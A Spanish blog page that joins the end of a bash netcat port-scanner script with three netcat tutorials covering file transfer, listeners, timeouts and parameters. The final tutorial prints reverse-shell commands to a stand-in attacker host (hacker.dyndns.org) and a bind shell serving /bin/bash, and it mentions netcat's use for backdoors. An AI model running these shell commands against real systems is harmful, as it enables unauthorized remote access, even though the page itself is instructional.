# Scan UDP con gateway

function udp_gateway() {
echo $MEM7
VICTIMA=$2
GATE=$1
NETCAT_GATE="nc -v -v -z -u $VICTIMA -g $GATE " 
$NETCAT_GATE $PUERTOS ; }

# Scan con Source Routing
 
function tcp_gateway() {
GATE=$1
HOST=$2
RANGO=$PUERTOS
echo "Gate : $GATE "  
$NETCAT -g $GATE  $HOST $RANGO ; }

# Advertencia

function  adv() {
local MEM4="Falta el GateWay para el Source Routing !!!!!!"
local MEM5="Te van a pillar !!!!!!! $USER jejejejeje "
echo ${rojo}$MEM4${cl} 
echo ${re}${rojo}$MEM5${cl}  ; }

# Determinacion de SO

function web_so() {
NC="nc -w "
HTTPPORT="80"
GET="GET /"
ECHO="/bin/echo"
HEAD="HEAD / HTPP/1.0"
HTTPVARIABLE="Server:"
WEB_SERVER="$1"
LOG="salida.txt"
#CHECKHTTP=( echo $GET  ; sleep 5)| $NETCAT $VICTIMA  80 
( echo $HEAD  ; echo ; echo ) | $NC  8 $WEB_SERVER $HTTPPORT | grep $HTTPVARIABLE  | cut -d: -f2  1> $LOG  
cat  $LOG
rm -f $LOG  ;}


# Seleccion de Opcion

case $# in 0 ) mem ;; 
           1 ) mem2 $1 ;
               adv  ;
               tcp $1 ;;
           3 ) if [ "$1" != "r" ]; then 
                  mem2 $2
                  udp_gateway $3 $2
               else {  mem2 $3
                     adv  
                     tcp_rango $2 $3 ;} 
               fi ;;
           2 ) if [ "$1" != "u" ] ; then
                       if [ "$1" != "so" ] ; then
                             {  mem2 $1
                             # adv  
                             tcp_gateway $2 $1 ;} 
                       else { mem_web $2
                              web_so $2 ;} 
                       fi
                else  { export HOST=$2
                       mem2 $HOST 
                       udp $2   
                       exit 0 ;}
                fi ;           
esac

 
<------- Fin del Hven-Scanner, cortar aquí --------->

         Conclusión:
        ============
    
   Si estudiamos detalladamente las variables, el misterio de
netcat desaparece, viene la parte de la imaginación; ¿Que otras
funciones le podemos asignar? ¿Que mas podría hacer? ; al revisar el
programa que envió Dr._X me dije: "Lógico! Hmmm... Y que tal si hacemos
asi..." ; el hacking no es más que probar nuevas posibilidades, utilizando
el ingenio, los conocimientos acumulados y una dosis bastante fuerte de
imaginación podremos lograr loque queramos.  :)


   Si tienes otras ideas, utilidades, programas o forma innovadora
para utilizar netcat, escribenos un mail, estaré encantado de anexarlo 
en este documento....


Netcat la navaja suiza de los hackers

Netcat o nc, es una conocida herramienta para el análisis de red, conocida también como la navaja suiza de los hackers, ya que tiene muchas funcionalidades, similares a la mencionada navaja. En este post explicaremos algunas de sus funcionalidades más básicas con ejemplos:

1.-Netcat como un cliente-servidor:


Netcat puede utilizarse como un servidor y dejarlo a la escucha de un determinado puerto.

nc -l 2389

Además, podemos usarlo para conectarnos a un puerto (2389), recientemente abierto:

nc localhost 2389

Ahora, si escribimos en el lado del cliente, llegará al lado del servidor:

Hi, serrver

En la terminal donde está corriendo el servidor:

Hi,client

Hemos visto un ejemplo de como utilizar Nectat para la comunicación cliente-servidor.

2.-Usar Netcat para transferir archivos:


Netcat puede ser utilizado para transferir archivos. Del lado del clientesupongamos que tenemos un archivo llamado ‘testfile’ que contiene:

hello world

y del lado del servidor tenemos un archivo vacío llamado ‘test’.
Ahora ponemos del lado del servidor:

nc -l 2389 > test

y ejecutamos en el cliente lo siguiente:

cat testfile | nc localhost 2389

cuando revisemos el archivo test del servidor veremos como pone hello world.

Hemos transferido datos del cliente al servidor.

3.-Netcat soporta timeouts:


En ocasiones cuando abrimos una conexión no deseamos que ésta se quede abierta por un tiempo indefinido, así que para solucionar este problema utilizamos la opción -w, para que pasados x cantidad de segundos se cierre la conexión entre cliente-servidor.

Servidor:
nc -l 2389

Cliente:
nc -w 10 localhost 2389

La conexión se cerrará después de pasados 10 segundos.

Nota: no debes usar la opción -w con la opción -l en el lado del servidor ya que -wno causaría ningún efecto y por tanto la conexión quedaría abierta indefinidamente.

4.-Forzar a Netcat para que quede despierto:


Cuando tenemos el servidor corriendo y el cliente se desconecta, el servidortambién termina, para evitar esto usamos el parámetro -k:

nc -k -l 2389

De esta forma aunque cerremos el cliente el servidor seguirá abierto.

Bueno, durante el post hemos visto algunos ejemplos del uso de Netcat, pudieron apreciar que es una herramienta muy versátil, de ahí lo de la navaja suiza de los hacker ;) , aquí presentamos solo algunas de sus funcionalidades, como siempre si quieren más información: man nc, y verán todo lo que se puede hacer con esta herramienta. Hasta el próximo post y Happy Hacking!!!

Netcat es una herramienta de red que permite a través de intérprete de comandos y con una sintaxis sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos). Fue originalmente desarrollada por Hobbit en 1996 y liberada bajo una licencia de software libre permisiva (no copyleft, similar a BSD, MIT) para UNIX. Posteriormente fue portada a Windows yMac OS X entre otras plataformas. Existen muchos forks de esta herramienta que añaden características nuevas como GNU Netcat o Cryptcat.
Entre sus múltiples aplicaciones, es frecuente la depuración de aplicaciones de red. También es utilizada a menudo para abrir puertas traseras en un sistema.

Funcionamiento básico[editar]

La forma más básica de operar de netcat consiste en:
  • Crear un socket para conectarse a un servidor ( o bien para hacer de servidor )
  • Enviar todo lo que entre por la entrada estándar por el socket
  • Sacar por la salida estándar todo lo recibido por el socket

Parámetros[editar]

A continuación se listan algunos de los parámetros más usados con Netcat:
  • -l: Indica que Netcat abre el puerto para Escucha (Listen): Acepta una única conexión de un Cliente y se cierra.
  • -p: Especifica el puerto
  • -k: Fuerza a que el puerto permanezca abierto tras haber recibido una Conexión. Se usa con el parámetro -l y permite infinitas Conexiones.
  • -u: El puerto abierto se abre como UDP, en vez de TCP que es la opción por default.
  • -v: Muestra información de la conexión.
  • -t: Las respuestas son compatibles para sesiones de Telnet.
  • -q segundos: Tras haber recibido el EOF de la Entrada de datos, espera los segundos indicados para enviarla.
  • -i segundos: Especifica un delay (retraso) de tiempo para el envio o recepción de las líneas de texto.

Ejemplos[editar]

Abrir nueva conexión al puerto 25 (como telnet):
nc mail.server.net 25.
Abrir una conexión para enviar un Archivo de manera RAW (Binario) a un Cliente:
cat ARCHIVO | nc -l PUERTO
Abrir una conexión y volcar la Información recibida en ARCHIVO (Cliente del Ejemplo anterior):
nc HOST PUERTO > ARCHIVO
Simular una Respuesta HTTP (austera) a un Cliente que se conecta con un navegador web (http://localhost):
echo -en "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n\<h1>Hola Mundo</h1>" | nc -l -p 80

NetCat, la navaja suiza de los hackers y administradores

Netcat (a menudo referida como la navaja multiusos de los hackers) es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos).
Sus capacidades hacen que sea a menudo usada como una herramienta para abrir puertas traseras una vez invadido un sistema y obtenido privilegios de administrador o root del equipo. También resulta extremadamente útil a efectos de depuración para aplicaciones de red.
Ya en desuso, originariamente se trataba de una potentísima herramienta de red para administradores no habiéndose descubierto hasta la fecha el total de los comandos que se utilizaban, los cuales permanecen secretos por las particularidades de esta herramienta.
Introducción
Básicamente netcat realiza lo siguiente:
Crea una conexión de red (socket) entre dos equipos
Una vez establecida la conexión se puede emplear el canal para transferir Shells remotos, ficheros, etc.
Sintaxis básica
Como cliente: nc [-opciones] host puerto
Como servidor: nc -l -p puerto [-opciones] [host]
Parámetros básicos
-c shell comandos similar a parametro `-e’
-e fichero programa para ejecutar despues de establecer la conexión
-k set keepalive option on socket
-l modo “listen”, para conexiones entrantes
-n solo direcciones ip, sin resolución de nombres
-o file volcado hexadecimal del tráfico
-p port puerto local a utilizar
-r puerto local aleatorio
-q secs pausar y salir despues de unos segundos tras recibir una señal de EOF
-s addr direccion local de origen
-T tos configura el “Type Of Service”
-t responder a la negociación TELNET
-u modo UDP
-v modo verbose [usar -vv para mayor verbose]
-w secs timeout para las conexiones y finalizar las escuchas de red
-z modo zero-I/O [utilizado para técnicas de scanning]
Ejemplos de uso:
Transferrencia de ficheros
Receptor de fichero:
  #nc -l -p 2000 > fichero.recibido
Emisor del fichero:
  #nc localhost 2000 < fichero
Servidor de ECHO
  #nc -l -p 2000 -e /bin/cat
Servidor de DAYTIME
  #nc -l -p 2000 -e /bin/date
Shell BASH remota
 #nc -l -p 2000 -e /bin/bash
Shells inversos (Técnica empleada por Hackers)
Servidor Linux atacado:
 #nc -e /bin/bash -p hacker.dyndns.org 44444
Servidor Windows atacado:
 #nc -d -e cmd.exe hacker.dyndns.org -p 44444
Cliente (equipo del hacker):
 #nc -l -p 44444
Servidor HTTP (monohilo)
 #nc -l -p http -c “cat index.html
Streaming AUDIO
Servidor:
 #cat *.mp3 | nc -l -p 2000
Cliente:
  #nc server.example.org 2000 | madplay –
Streaming VIDEO
Servidor:
  #nc -l -p 2000 < pelicula.avi
Cliente:
  #nc server.example.org 2000 | mplayer –
Clonar un disco remotamente:Servidor:
  #dd if=/dev/sda1 | nc -l -p 2000
Cliente:
  #nc server.example.org 2000 | dd of=pendrive.dump
  #mount pendrive.dump -r -t vfat -o loop /mnt/usb

No hay comentarios:

Publicar un comentario

Blogger Widgets